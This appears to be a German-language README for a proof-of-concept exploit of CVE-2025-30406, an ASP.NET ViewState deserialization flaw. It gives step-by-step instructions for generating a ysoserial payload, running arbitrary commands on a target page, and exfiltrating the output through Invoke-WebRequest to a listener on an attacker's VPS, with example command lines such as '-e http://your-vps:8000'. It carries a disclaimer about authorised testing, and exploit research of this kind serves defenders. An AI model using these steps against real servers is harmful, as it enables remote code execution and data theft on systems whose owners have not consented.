
CVE-2025-30406 ViewState Exploit PoC
Dies ist ein Proof-of-Concept-Skript (PoC), das einen ViewState-Deserialisierungs-Exploit für CVE-2025-30406 in ASP.NET-Anwendungen demonstriert. Es verwendet ysoserial, um eine bösartige ViewState-Nutzlast zu erzeugen, und sendet sie an eine benutzerdefinierte URL, um einen angegebenen Befehl auszuführen. Für beste Ergebnisse kann die Befehlsausgabe an einen benutzerdefinierten HTTP-Server (server.py) exfiltriert werden, der auf einem VPS läuft und die Ergebnisse in einem formatierten Stil mit Zeitstempeln, grünen Eingabeaufforderungen und weißem Ausgabetext anzeigt. Dieses Skript dient nur zu Bildungszwecken und darf ausschließlich auf Systemen verwendet werden, für die Sie ausdrückliche Genehmigung für Sicherheitstests haben. Unbefugte Nutzung ist illegal und unethisch.
exploit.py: Das Haupt-PoC-Skript zum Erzeugen und Senden der ViewState-Nutzlast.server.py: Ein HTTP-Server zum Empfangen und Anzeigen der exfiltrierten Befehlsausgabe in einem formatierten Stil.README.md: Diese Datei mit Setup- und Verwendungsanweisungen.requests-Bibliothek (pip install requests)server.py (für die Exfiltration empfohlen)git clone https://github.com/yourusername/cve-2025-30406-poc.git
cd cve-2025-30406-poc
pip install requests
exploit.py oder geben Sie seinen Pfad an:
Um die exfiltrierte Befehlsausgabe in einem formatierten Stil zu empfangen, führen Sie server.py auf einem VPS aus:
server.py auf Ihren VPS (z. B. per scp):
scp server.py user@your-vps-ip:/home/user/
sudo apt update && sudo apt install python3 python3-pip
python3 server.py
sudo ufw allow 8000
http://your-vps-ip:8000) zur Verwendung mit dem -e-Flag in exploit.py.Führen Sie exploit.py mit den erforderlichen Argumenten aus. Das -e-Flag ist optional, wird aber dringend empfohlen, um die Befehlsausgabe zur formatierten Anzeige an server.py zu exfiltrieren.
python exploit.py -u <target_url> -c <command> [-y <ysoserial_path>] [-e <callback_url>]
-u, --url: Ziel-URL (z. B. http://target.com/page.aspx) [Erforderlich]-c, --command: Auszuführender Befehl (z. B. whoami) [Erforderlich]-y, --ysoserial: Pfad zur ysoserial-Programmdatei (Standard: ./ysoserial.exe) [Optional]-e, --exfil: Callback-URL zum Exfiltrieren der Befehlsausgabe (z. B. http://your-vps:8000) [Optional]python exploit.py -u http://example.com/loginpage.aspx -c "whoami" -y ./ysoserial.exe
server.py läuft (empfohlen):
python exploit.py -u http://example.com/loginpage.aspx -c "whoami" -y ./ysoserial.exe -e http://your-vps:8000
Starten Sie auf Ihrem VPS oder Ihrer lokalen Maschine den HTTP-Server, um die exfiltrierte Ausgabe zu empfangen:
python3 server.py
Der Server zeigt die Befehlsausgabe mit Zeitstempeln, einer grünen $-Eingabeaufforderung und weißem Text zur besseren Lesbarkeit an.
exploit.py):
-e angegeben ist, wird der Befehl so umschlossen, dass die Ausgabe erfasst und über Invoke-WebRequest an die Callback-URL gesendet wird.__VIEWSTATE.server.py):
$-Eingabeaufforderung und weißem Ausgabetext aus.-e-Callback-URL erforderlich.Dieses Projekt ist unter der MIT-Lizenz lizenziert. Weitere Details finden Sie in der Datei LICENSE.
Bei Fragen oder Feedback eröffnen Sie bitte ein Issue in diesem Repository.